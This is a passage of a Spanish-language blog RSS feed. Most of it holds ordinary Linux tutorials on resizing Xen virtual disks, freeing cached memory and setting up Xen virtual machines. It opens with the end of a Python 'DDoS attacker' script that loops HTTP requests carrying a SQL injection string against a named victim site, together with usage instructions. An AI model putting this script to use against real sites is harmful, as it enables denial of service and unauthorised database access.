<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; s.<span class="me1">connect</span><span class="br0">&#40;</span><span class="br0">&#40;</span><span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span>, <span class="nu0">80</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">print</span> <span class="st0">&quot;&gt;&gt; GET /&quot;</span> + <span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span> + <span class="st0">&quot; HTTP/1.1&quot;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; s.<span class="me1">send</span><span class="br0">&#40;</span><span class="st0">&quot;GET /&quot;</span> + <span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span> + <span class="st0">&quot; HTTP/1.1<span class="es0">\r</span><span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; s.<span class="me1">send</span><span class="br0">&#40;</span><span class="st0">&quot;Host: &quot;</span> + <span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span> &nbsp;+ <span class="st0">&quot;<span class="es0">\r</span><span class="es0">\n</span><span class="es0">\r</span><span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; s.<span class="me1">close</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">for</span> i <span class="kw1">in</span> <span class="kw2">range</span><span class="br0">&#40;</span><span class="nu0">1</span>, <span class="nu0">10</span><span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; attack<span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
</ol>
</div>
<p>La línea número 6 está comentada, si prefieren la pueden descomentar para ver lo que sucede.<br />
El uso del script es de la siguiente forma:<br />
<code>$ python DDoS.py www.pagina.com SQLi</code><br />
En <em>www.pagina.com</em> obviamente pondremos nuestra víctima y en SQLi, la cadena que hará el milagro, por ejemplo &#8220;<strong>ver_productos.php?id=55&#8242; or &#8217;1&#8242;=&#8217;1</strong>&#8220;</p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fddos-attacker-script-peticiones-automatizadas-para-lograr-dos%2F&amp;linkname=DDoS%20Attacker%20Script%3A%20Peticiones%20automatizadas%20para%20lograr%20DoS" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fddos-attacker-script-peticiones-automatizadas-para-lograr-dos%2F&amp;linkname=DDoS%20Attacker%20Script%3A%20Peticiones%20automatizadas%20para%20lograr%20DoS" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fddos-attacker-script-peticiones-automatizadas-para-lograr-dos%2F&amp;linkname=DDoS%20Attacker%20Script%3A%20Peticiones%20automatizadas%20para%20lograr%20DoS" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fddos-attacker-script-peticiones-automatizadas-para-lograr-dos%2F&amp;linkname=DDoS%20Attacker%20Script%3A%20Peticiones%20automatizadas%20para%20lograr%20DoS" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fddos-attacker-script-peticiones-automatizadas-para-lograr-dos%2F&amp;linkname=DDoS%20Attacker%20Script%3A%20Peticiones%20automatizadas%20para%20lograr%20DoS" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fddos-attacker-script-peticiones-automatizadas-para-lograr-dos%2F&amp;linkname=DDoS%20Attacker%20Script%3A%20Peticiones%20automatizadas%20para%20lograr%20DoS" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fddos-attacker-script-peticiones-automatizadas-para-lograr-dos%2F&amp;linkname=DDoS%20Attacker%20Script%3A%20Peticiones%20automatizadas%20para%20lograr%20DoS" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fddos-attacker-script-peticiones-automatizadas-para-lograr-dos%2F&amp;linkname=DDoS%20Attacker%20Script%3A%20Peticiones%20automatizadas%20para%20lograr%20DoS">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/ddos-attacker-script-peticiones-automatizadas-para-lograr-dos/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Cómo redimenzionar el tamaño de un disco virtual en Xen</title>
		<link>http://blog.zerial.org/linux/como-redimenzionar-el-tamano-de-un-disco-virtual-en-xen/</link>
		<comments>http://blog.zerial.org/linux/como-redimenzionar-el-tamano-de-un-disco-virtual-en-xen/#comments</comments>
		<pubDate>Wed, 22 Jul 2009 02:18:11 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Documentacion]]></category>
		<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[paravirtualizacion]]></category>
		<category><![CDATA[tip]]></category>
		<category><![CDATA[virtualizacion]]></category>
		<category><![CDATA[xen]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=669</guid>
		<description><![CDATA[El otro día, jugando un rato con Xen me encontré con el problema de querer redimenzionar el tamaño de disco virtual de las máquinas virtuales y, cabezeandome un rato, lo logré. En teoría, aumentar el tamaño de un disco es fácil, creamos un fichero del tamaño que queramos usando dd y luego concatenamos con el [...]]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-full wp-image-676" title="hdd-1" src="http://blog.zerial.org/wp-content/uploads/2009/07/hdd-1.jpg" alt="hdd-1" width="380" height="253" /></p>
<p>El otro día, jugando un rato con Xen me encontré con el problema de querer redimenzionar el tamaño de disco virtual de las máquinas virtuales y, cabezeandome un rato, lo logré.<br />
En teoría, aumentar el tamaño de un disco es fácil, creamos un fichero del tamaño que queramos usando <strong>dd</strong> y luego concatenamos con el que ya tenemos, creamos el sistema de ficheros y listo. Pero el disminuirlo me pareció más complejo, pero no fue así.</p>
<p><span id="more-669"></span></p>
<p><strong>Paso a paso</strong></p>
<ul>
<li><strong>Aumentar el tamaño del disco</strong></li>
<p>Vamos a usar tres herramientas: <strong>dd</strong>, <strong>cat</strong> y <strong>mkfs</strong>.<br />
Primero, crear un fichero del tamaño que necesitemos, por ejemplo 5GB:</p>
<p><code>dd if=/dev/zero of=file.img bs=1MB count=5000</code></p>
<p>Luego de esto unimos nuestro disco actual con el nuevo <em>file.img</em>:<br />
<code>cat file.img &gt;&gt; disk.img</code></p>
<p>Como último paso, volvemos a crear el sistema de ficheros usando <em>mkfs</em>:<br />
<code>mkfs.<em>xfs</em> disk.img</code><br />
(deben cambiar xfs por el sistema de ficheros a utilizar como ext3, reiserfs, etc)</p>
<li><strong>Disminuir el tamaño del disco</strong><br />
Similar al anterior, usaremos las herramientas <strong>dd</strong> y <strong>mkfs</strong> (tambien usaremos los comando <em>cp</em> y <em>mouont</em>)<br />
Creamos un fichero con el nuevo tamaño del disco, por ejemplo 5GB:</p>
<p><code>dd if=/dev/zero of=newdisk.img bs=1MB count=5000</code></p>
<p>Le damos formato al fichero:</p>
<p><code>mkfs.<em>xfs</em> newdisk.img</code></p>
<p>Montamos la imágen del disco antigua y la nueva en dos directorios distintos (usaremos temp1 y temp2, respectivamente):</p>
<p><code>mkdir temp1 temp2<br />
mount -tauto -oloop disk.img temp1<br />
mount -tauto -oloop newdisk.img temp2</code></p>
<p>Simplemente copiamos los ficheros desde temp1 hasta temp2, obviamente, conservando los permisos:</p>
<p><code>cp -rfvp temp1/* temp2/</code></p>
<p>Desmontamos las dos imágenes:</p>
<p><code>umount temp1 &amp;amp;&amp;amp; umount temp2</code></p>
<p>Listo, ahora en newdisk.img de 5gb tenemos todo lo que estaba antes en disk.img.</li>
</ul>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fcomo-redimenzionar-el-tamano-de-un-disco-virtual-en-xen%2F&amp;linkname=C%C3%B3mo%20redimenzionar%20el%20tama%C3%B1o%20de%20un%20disco%20virtual%20en%20Xen" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fcomo-redimenzionar-el-tamano-de-un-disco-virtual-en-xen%2F&amp;linkname=C%C3%B3mo%20redimenzionar%20el%20tama%C3%B1o%20de%20un%20disco%20virtual%20en%20Xen" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fcomo-redimenzionar-el-tamano-de-un-disco-virtual-en-xen%2F&amp;linkname=C%C3%B3mo%20redimenzionar%20el%20tama%C3%B1o%20de%20un%20disco%20virtual%20en%20Xen" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fcomo-redimenzionar-el-tamano-de-un-disco-virtual-en-xen%2F&amp;linkname=C%C3%B3mo%20redimenzionar%20el%20tama%C3%B1o%20de%20un%20disco%20virtual%20en%20Xen" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fcomo-redimenzionar-el-tamano-de-un-disco-virtual-en-xen%2F&amp;linkname=C%C3%B3mo%20redimenzionar%20el%20tama%C3%B1o%20de%20un%20disco%20virtual%20en%20Xen" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fcomo-redimenzionar-el-tamano-de-un-disco-virtual-en-xen%2F&amp;linkname=C%C3%B3mo%20redimenzionar%20el%20tama%C3%B1o%20de%20un%20disco%20virtual%20en%20Xen" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fcomo-redimenzionar-el-tamano-de-un-disco-virtual-en-xen%2F&amp;linkname=C%C3%B3mo%20redimenzionar%20el%20tama%C3%B1o%20de%20un%20disco%20virtual%20en%20Xen" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fcomo-redimenzionar-el-tamano-de-un-disco-virtual-en-xen%2F&amp;linkname=C%C3%B3mo%20redimenzionar%20el%20tama%C3%B1o%20de%20un%20disco%20virtual%20en%20Xen">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/linux/como-redimenzionar-el-tamano-de-un-disco-virtual-en-xen/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Tip: Liberar memoria &#8216;cacheada&#8217;, dentries e inodos</title>
		<link>http://blog.zerial.org/linux/tip-liberar-memoria-cacheada-dentries-e-inodos/</link>
		<comments>http://blog.zerial.org/linux/tip-liberar-memoria-cacheada-dentries-e-inodos/#comments</comments>
		<pubDate>Tue, 21 Jul 2009 13:46:54 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Documentacion]]></category>
		<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[memoria cache]]></category>
		<category><![CDATA[tip]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=651</guid>
		<description><![CDATA[Hay veces que los programas (especialmente FF) ocupan mucha memoria y la memoria cacheada aumenta hasta quedarnos sin memoria (o con menos de lo que deberíamos tener), esta memoria se puede liberar para que quede utilizable nuevamente, basta con que le tiremos un echo al fichero /proc/sys/vm/drop_caches con los valores 1, 2 o 3 para [...]]]></description>
			<content:encoded><![CDATA[<p>Hay veces que los programas (especialmente FF) ocupan mucha memoria y la memoria <em>cacheada</em> aumenta hasta quedarnos sin memoria (o con menos de lo que deberíamos tener), esta memoria se puede liberar para que quede utilizable nuevamente, basta con que le tiremos un <em>echo</em> al fichero <em>/proc/sys/vm/drop_caches</em> con los valores 1, 2 o 3 para liberar el <em>pagecache</em>, inodos y dentries, o los tres, respectivamente.<br />
Esta funcionalidad fue <a href="http://www.kernel.org/pub/linux/kernel/v2.6/ChangeLog-2.6.16" target="_blank">implementada en la version 2.6.16</a> del <a href="http://www.kernel.org" target="_blank">kernel de linux</a>.</p>
<p><strong>¿Qué es el <em>pagecache</em>, inodos y dentries?</strong><br />
Los ficheros y directorios se representan, en la memoria, como <strong>inodos</strong>, de esta misma forma, los <strong>dentries</strong> corresponden a la representación de la información del path, directorios, etc.<br />
Pueden leer una definición de <em>pagecache</em> más completa en: <a href="http://en.wikipedia.org/wiki/Pagecache" target="_blank">http://en.wikipedia.org/wiki/Pagecache</a>.</p>
<p><strong>Ejemplo:</strong></p>
<p><code>echo -n 1 &gt; /proc/sys/vm/drop_caches; # Libera el <em>pagecache</em><br />
echo -n 2 &gt; /proc/sys/vm/drop_caches; # Liberamos inodos y dentries<br />
echo -n 3 &gt; /proc/sys/vm/drop_caches; # Libera <em>pagecache</em>, inodos y dentries.</code></p>
<p>Pueden ejecutar el comando <em>free -m</em> para ver la memoria antes y despues de liberar el caché.</p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Ftip-liberar-memoria-cacheada-dentries-e-inodos%2F&amp;linkname=Tip%3A%20Liberar%20memoria%20%26%238216%3Bcacheada%26%238217%3B%2C%20dentries%20e%20inodos" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Ftip-liberar-memoria-cacheada-dentries-e-inodos%2F&amp;linkname=Tip%3A%20Liberar%20memoria%20%26%238216%3Bcacheada%26%238217%3B%2C%20dentries%20e%20inodos" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Ftip-liberar-memoria-cacheada-dentries-e-inodos%2F&amp;linkname=Tip%3A%20Liberar%20memoria%20%26%238216%3Bcacheada%26%238217%3B%2C%20dentries%20e%20inodos" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Ftip-liberar-memoria-cacheada-dentries-e-inodos%2F&amp;linkname=Tip%3A%20Liberar%20memoria%20%26%238216%3Bcacheada%26%238217%3B%2C%20dentries%20e%20inodos" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Ftip-liberar-memoria-cacheada-dentries-e-inodos%2F&amp;linkname=Tip%3A%20Liberar%20memoria%20%26%238216%3Bcacheada%26%238217%3B%2C%20dentries%20e%20inodos" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Ftip-liberar-memoria-cacheada-dentries-e-inodos%2F&amp;linkname=Tip%3A%20Liberar%20memoria%20%26%238216%3Bcacheada%26%238217%3B%2C%20dentries%20e%20inodos" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Ftip-liberar-memoria-cacheada-dentries-e-inodos%2F&amp;linkname=Tip%3A%20Liberar%20memoria%20%26%238216%3Bcacheada%26%238217%3B%2C%20dentries%20e%20inodos" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Ftip-liberar-memoria-cacheada-dentries-e-inodos%2F&amp;linkname=Tip%3A%20Liberar%20memoria%20%26%238216%3Bcacheada%26%238217%3B%2C%20dentries%20e%20inodos">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/linux/tip-liberar-memoria-cacheada-dentries-e-inodos/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Xen: Creación y configuración de una máquina virtual (pt2)</title>
		<link>http://blog.zerial.org/linux/xen-creacion-y-configuracion-de-una-maquina-virtual-pt2/</link>
		<comments>http://blog.zerial.org/linux/xen-creacion-y-configuracion-de-una-maquina-virtual-pt2/#comments</comments>
		<pubDate>Sat, 13 Jun 2009 17:18:29 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Documentacion]]></category>
		<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[configuracion]]></category>
		<category><![CDATA[creacion]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[maquina virtual]]></category>
		<category><![CDATA[paravirtualizacion]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[virtual machine]]></category>
		<category><![CDATA[virtualizacio]]></category>
		<category><![CDATA[vm]]></category>
		<category><![CDATA[xen]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=371</guid>
		<description><![CDATA[Si la instalación y configuración de Xen resultó ser fácil, lo que mostraré a continuación es mucho más sencillo. Para instalar una máquina nueva (con Debian) debemos ejecutar el siguiente comando: xen-create-image --hostname=xen1 --size=5Gb --swap=256Mb --ide \ --ip=192.168.0.101 --netmask=255.255.255.0 --gateway=192.168.0.1 --force \ --dir=/vm --memory=128Mb --arch=i386 --kernel=/boot/vmlinuz-2.6.26-2-xen-686 \ --debootstrap --dist=lenny --mirror=http://ftp.cl.debian.org/debian/ --passwd Si destripamos los parámetros [...]]]></description>
			<content:encoded><![CDATA[<p>Si la instalación y configuración de Xen resultó ser fácil, lo que mostraré a continuación es mucho más sencillo. Para instalar una máquina nueva (con Debian) debemos ejecutar el siguiente comando:</p>
<p><code>xen-create-image --hostname=xen1 --size=5Gb --swap=256Mb --ide \<br />
  --ip=192.168.0.101 --netmask=255.255.255.0 --gateway=192.168.0.1 --force \<br />
  --dir=/vm --memory=128Mb --arch=i386 --kernel=/boot/vmlinuz-2.6.26-2-xen-686 \<br />
  --debootstrap --dist=lenny --mirror=http://ftp.cl.debian.org/debian/ --passwd</code></p>
<p>Si <em>destripamos</em> los parámetros nos damos cuenta que le estamos asignando (en orden) el hostname, tamaño de disco duro, cantidad de swap, tipo de disco, dirección ip, netmask, gateway, el directorio donde instalarla, ram, arquitectura, kernel para usar, metodo de instalación, distribución, mirror para descargar y por último, que nos pregunte la pass de root cuando termine de instalar. Estos parametros se pueden cambiar según los requerimientos.</p>
<p>El archivo de configuración de las máquinas virtuales es algo como:</p>
<p><code>kernel      = '/boot/vmlinuz-2.6.26-2-xen-686'<br />
ramdisk     = '/boot/initrd.img-2.6.26-2-xen-686'<br />
maxmem	=	'256'<br />
memory      = '64'<br />
root        = '/dev/hda2 ro'<br />
disk        = [<br />
                  'file:/vm/domains/xen01/swap.img,hda1,w',<br />
                  'file:/vm/domains/xen01/disk.img,hda2,w',<br />
              ]<br />
name        = 'xen01'<br />
# Red<br />
vif         = [ 'ip=192.168.20.202,mac=00:16:3E:6F:E3:3B' ]<br />
#  Comportamiento<br />
on_poweroff = 'destroy'<br />
on_reboot   = 'restart'<br />
on_crash    = 'restart'</code></p>
<p>Podemos modificar arbitrariamente las opciones segun lo que nosotros necesitemos, tambien existen más opciones que le podemos agregar, como la asignacion de X cpus, decirles que cpu usen, por ejemplo si tenemos 4 núcleos, asignarle el 1 y el 4.</p>
<p><code>vcpus = 2;<br />
cpus = '0,3'</code></p>
<p>De esta forma le estamos asignando 2 núcleos virtuales  y le estamos diciendo que use los nucleos <em>0</em> y <em>3</em>.</p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fxen-creacion-y-configuracion-de-una-maquina-virtual-pt2%2F&amp;linkname=Xen%3A%20Creaci%C3%B3n%20y%20configuraci%C3%B3n%20de%20una%20m%C3%A1quina%20virtual%20%28pt2%29" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fxen-creacion-y-configuracion-de-una-maquina-virtual-pt2%2F&amp;linkname=Xen%3A%20Creaci%C3%B3n%20y%20configuraci%C3%B3n%20de%20una%20m%C3%A1quina%20virtual%20%28pt2%29" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fxen-creacion-y-configuracion-de-una-maquina-virtual-pt2%2F&amp;linkname=Xen%3A%20Creaci%C3%B3n%20y%20configuraci%C3%B3n%20de%20una%20m%C3%A1quina%20virtual%20%28pt2%29" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fxen-creacion-y-configuracion-de-una-maquina-virtual-pt2%2F&amp;linkname=Xen%3A%20Creaci%C3%B3n%20y%20configuraci%C3%B3n%20de%20una%20m%C3%A1quina%20virtual%20%28pt2%29" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fxen-creacion-y-configuracion-de-una-maquina-virtual-pt2%2F&amp;linkname=Xen%3A%20Creaci%C3%B3n%20y%20configuraci%C3%B3n%20de%20una%20m%C3%A1quina%20virtual%20%28pt2%29" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fxen-creacion-y-configuracion-de-una-maquina-virtual-pt2%2F&amp;linkname=Xen%3A%20Creaci%C3%B3n%20y%20configuraci%C3%B3n%20de%20una%20m%C3%A1quina%20virtual%20%28pt2%29" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fxen-creacion-y-configuracion-de-una-maquina-virtual-pt2%2F&amp;linkname=Xen%3A%20Creaci%C3%B3n%20y%20configuraci%C3%B3n%20de%20una%20m%C3%A1quina%20virtual%20%28pt2%29" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fxen-creacion-y-configuracion-de-una-maquina-virtual-pt2%2F&amp;linkname=Xen%3A%20Creaci%C3%B3n%20y%20configuraci%C3%B3n%20de%20una%20m%C3%A1quina%20virtual%20%28pt2%29">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/linux/xen-creacion-y-configuracion-de-una-maquina-virtual-pt2/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Xen: Instalación y configuración (pt1)</title>
		<link>http://blog.zerial.org/linux/xen-instalacion-configuracion-pt1/</link>
		<comments>http://blog.zerial.org/linux/xen-instalacion-configuracion-pt1/#comments</comments>
		<pubDate>Tue, 09 Jun 2009 00:13:39 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Documentacion]]></category>
		<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[paravirtualizacion]]></category>
		<category><![CDATA[virtualizacion]]></category>
		<category><![CDATA[xen]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=368</guid>
		<description><![CDATA[Esta es la primera parte de una serie de artículos que escribiré sobre cómo configurar y usar Xen, crear y administrar máquinas virtuales, clonación y migración, asignación de procesadores, memoria y configuración de la red entre otras cosas. Aunque soy usuario de Archlinux, los servidores que administro están bajo Debian, por lo que estos tutoriales [...]]]></description>
			<content:encoded><![CDATA[<p>Esta es la primera parte de una serie de artículos que escribiré sobre cómo configurar y usar <a href="http://es.wikipedia.org/wiki/Xen" target="aa">Xen</a>, crear y administrar máquinas virtuales, clonación y migración, asignación de procesadores, memoria y configuración de la red entre otras cosas.<br />
Aunque soy usuario de <a href="http://www.archlinux.org" target="aa">Archlinux</a>, los servidores que administro están bajo <a href="http://www.debian.org" target="asa">Debian</a>, por lo que estos tutoriales los haré en base a esa distribución.</p>
<p>A continuación, una serie de instrucciones de cómo instalar y dejar corriendo Xen en la máquina servidor en sencillos pasos:</p>
<p>Debemos instalar el kernel correspondiente y las utilidades de xen. Lo hacemos todo con el siguiente comando:</p>
<blockquote><p>apt-get install xm-utils-common xen-linux-system-2.6.26-2-xen-686 linux-image-2.6.26-2-xen-686</p></blockquote>
<p>Se van a instalar automáticamente las dependencias y otras utilidades que se necesiten.<br />
Reiniciamos y booteamos con el kernel correspondiente: <strong>Xen 3.2-1-i386 / Debian GNU/Linux, kernel 2.6.26-2-xen-686</strong></p>
<p>Hay que fijarse que se instalaron dos: <em>linux-image</em> y <em>xen-linux-system</em>. El primero se usará para que las máquinas <em>guest</em> booteen y el segundo para el domU.</p>
